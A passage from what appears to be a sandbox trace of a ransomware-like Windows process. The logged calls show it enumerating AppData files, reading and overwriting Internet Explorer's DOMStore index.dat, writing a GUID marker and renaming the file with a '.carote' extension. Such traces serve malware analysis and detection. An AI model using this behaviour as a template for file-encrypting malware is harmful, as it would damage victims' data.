HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\9C888BEABCCBC2A97B0D6D9214C3BA37_EBC75728C6119A77E4DA8559DD10F061") returned="" [0114.013] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54bc3730, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54bc3730, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb11d4fc0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450", cAlternateFileName="A9E4F7~1")) returned 1 [0114.013] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\A9E4F776657345B52012CE8E279D314C_183A5BE0B233CC1D513955FABECF9450") returned="" [0114.014] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x53bfe570, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53bfe570, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe9b34f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1ec, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001", cAlternateFileName="ACF244~1")) returned 1 [0114.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\ACF244F1A10D4DBED0D88EBA0C43A9B5_BA1AB6C2BDFDF57799E8116E4002D001") returned="" [0114.014] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xe04aaa10, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xe04aaa10, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xae4e7080, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852", cAlternateFileName="B3BB9C~2")) returned 1 [0114.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_6F0A84CE2BA99BD19D42C92610275852") returned="" [0114.014] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xefc01b00, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xefc01b00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xaa4ee1e0, ftLastWriteTime.dwHighDateTime=0x1d2e620, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8", cAlternateFileName="B3BB9C~1")) returned 1 [0114.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\B3BB9C1BA2D19E090AE305B2683903A0_B89A63AC6877BD1ED812438CE82C3EB8") returned="" [0114.014] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x54322770, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54322770, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150", cAlternateFileName="BC570E~2")) returned 1 [0114.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_6CE6E578B5C8485B4BE3C4D58E12F150") returned="" [0114.014] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x540c1170, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x540c1170, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf019010, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x204, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC", cAlternateFileName="BC570E~1")) returned 1 [0114.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\BC570EC0DE58335AFAF92FDC8E3AA330_F4D449CA9E0EACCFE15946F8FCD349FC") returned="" [0114.014] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x56bb3b80, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x56bb3b80, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xaeca3800, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873", cAlternateFileName="C46E7B~2")) returned 1 [0114.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_42820CDFEA41DC84AAB89A6B63561873") returned="" [0114.014] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x682fbd00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x682fbd00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xae0bca00, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE", cAlternateFileName="C46E7B~3")) returned 1 [0114.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_6043FC604A395E1485AF7AC16D16B7CE") returned="" [0114.014] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x5461c2f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5461c2f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbf67eb30, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF", cAlternateFileName="C46E7B~1")) returned 1 [0114.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\C46E7B0F942663A1EDC8D9D6D7869173_D9B9F37ECE595B0B7B6AA12451D392CF") returned="" [0114.014] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x728c68a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x728c68a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xae63dce0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x194, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC", cAlternateFileName="D47DBD~2")) returned 1 [0114.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_4DD1053BCC726DA41115FFF4C7D6E9CC") returned="" [0114.014] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x545f6190, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x545f6190, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x69b6e1e0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x198, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE", cAlternateFileName="D47DBD~1")) returned 1 [0114.014] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D47DBD2F9E3365FBBE008D71FB06716F_D33192D58AA9CA2B9097E848E9FE86DE") returned="" [0114.015] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x808d4a70, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x808d4a70, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x808d4a70, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x1a4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C", cAlternateFileName="D52C56~1")) returned 1 [0114.015] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\D52C56D8F24BEC96604372AFBAF264E1_E76A2B627DD019EB51D9335F24B14C2C") returned="" [0114.015] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0x683e0540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x683e0540, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb0f015a0, ftLastWriteTime.dwHighDateTime=0x1d2e675, nFileSizeHigh=0x0, nFileSizeLow=0x18e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585", cAlternateFileName="EA6180~1")) returned 1 [0114.015] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\EA618097E393409AFA316F0F87E2C202_827C1B837652B048C4C84237D0838585") returned="" [0114.015] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xbf312b90, ftCreationTime.dwHighDateTime=0x1d2faf2, ftLastAccessTime.dwLowDateTime=0xbf312b90, ftLastAccessTime.dwHighDateTime=0x1d2faf2, ftLastWriteTime.dwLowDateTime=0xbf312b90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x1a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1", cAlternateFileName="F293AE~1")) returned 1 [0114.015] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F293AEAD5E84FACFB686C4A620718928_C8424A0B24A72939B13720D0C000C9C1") returned="" [0114.015] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 1 [0114.015] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\F90F18257CBB4D84216AC1E1F3BB2C76") returned="" [0114.015] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2024, ftCreationTime.dwLowDateTime=0xedbebcc0, ftCreationTime.dwHighDateTime=0x1d2e620, ftLastAccessTime.dwLowDateTime=0xedbebcc0, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0xa989d730, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0xfc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="F90F18257CBB4D84216AC1E1F3BB2C76", cAlternateFileName="F90F18~1")) returned 0 [0114.015] FindClose (in: hFindFile=0x7a427a0 | out: hFindFile=0x7a427a0) returned 1 [0114.016] PeekMessageW (in: lpMsg=0x825ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825ff08) returned 0 [0114.016] PeekMessageW (in: lpMsg=0x825fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x825fb74) returned 0 [0114.016] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0114.016] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0114.016] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0114.016] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0114.016] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0114.016] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0114.016] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0114.016] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0114.016] PathFindFileNameW (pszPath="") returned="" [0114.016] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\*", lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a427a0 [0114.017] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0114.017] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x54b05050, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x54b05050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="36USA68T", cAlternateFileName="")) returned 1 [0114.017] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x605dd8a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="3O75JDME", cAlternateFileName="")) returned 1 [0114.018] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbaf619f0, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="index.dat", cAlternateFileName="")) returned 1 [0114.018] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat") returned=".dat" [0114.018] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0114.018] GetFileSizeEx (in: hFile=0x61c, lpFileSize=0x825fb4c | out: lpFileSize=0x825fb4c*=32768) returned 1 [0114.018] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x83a0000 [0114.020] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x7fda, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.020] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x825fb7c, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb7c*=0x26, lpOverlapped=0x0) returned 1 [0114.021] SetFilePointer (in: hFile=0x61c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0114.021] ReadFile (in: hFile=0x61c, lpBuffer=0x83a0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x825fb78, lpOverlapped=0x0 | out: lpBuffer=0x83a0000*, lpNumberOfBytesRead=0x825fb78*=0x8000, lpOverlapped=0x0) returned 1 [0114.022] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.022] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.022] lstrlenA (lpString="36F84F8D6D74C1EAAFF1D58EA51ABFD9") returned 32 [0114.022] CryptAcquireContextW (in: phProv=0x825fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x825fa94*=0x50ecd70) returned 1 [0114.023] CryptCreateHash (in: hProv=0x50ecd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x825fa9c | out: phHash=0x825fa9c) returned 1 [0114.023] CryptHashData (hHash=0x7a427e0, pbData=0x7a43f90, dwDataLen=0x25, dwFlags=0x0) returned 1 [0114.023] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x0, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x825fa98) returned 1 [0114.023] CryptGetHashParam (in: hHash=0x7a427e0, dwParam=0x2, pbData=0x7a13260, pdwDataLen=0x825fa98, dwFlags=0x0 | out: pbData=0x7a13260, pdwDataLen=0x825fa98) returned 1 [0114.023] GetLastError () returned 0x0 [0114.023] CryptDestroyHash (hHash=0x7a427e0) returned 1 [0114.023] CryptReleaseContext (hProv=0x50ecd70, dwFlags=0x0) returned 1 [0114.023] SetFilePointerEx (in: hFile=0x61c, liDistanceToMove=0x8000, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0114.023] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0114.024] WriteFile (in: hFile=0x61c, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x825fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x825fb2c*=0x26, lpOverlapped=0x0) returned 1 [0114.024] CloseHandle (hObject=0x61c) returned 1 [0114.025] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0114.025] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0x8d0) returned 0x7b14908 [0114.025] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0114.025] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\index.dat.carote" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\index.dat.carote")) returned 1 [0114.025] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7b14908 | out: hHeap=0x5010000) returned 1 [0114.025] VirtualFree (lpAddress=0x83a0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0114.026] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7ac0908 | out: hHeap=0x5010000) returned 1 [0114.026] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UV0DUWVB", cAlternateFileName="")) returned 1 [0114.026] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0114.026] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20b28 [0114.026] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa8) returned 0x79ab798 [0114.027] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xa0) returned 0x5109e30 [0114.027] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xd0) returned 0x79da068 [0114.027] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20cb8 [0114.027] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20d80 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x5109a40 | out: hHeap=0x5010000) returned 1 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x79da2f0 | out: hHeap=0x5010000) returned 1 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20bf0 | out: hHeap=0x5010000) returned 1 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20a60 | out: hHeap=0x5010000) returned 1 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a481c8 | out: hHeap=0x5010000) returned 1 [0114.027] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20a60 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20b28 | out: hHeap=0x5010000) returned 1 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0114.027] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | out: lpFindFileData=0x825fba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VGMTOI09", cAlternateFileName="")) returned 1 [0114.027] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20998 [0114.027] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20b28 [0114.027] RtlAllocateHeap (HeapHandle=0x5010000, Flags=0x0, Size=0xc0) returned 0x7a20bf0 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20b28 | out: hHeap=0x5010000) returned 1 [0114.027] HeapFree (in: hHeap=0x5010000, dwFlags=0x0, lpMem=0x7a20998 | out: hHeap=0x5010000) returned 1 [0114.027] FindNextFileW (in: hFindFile=0x7a427a0, lpFindFileData=0x825fba4 | 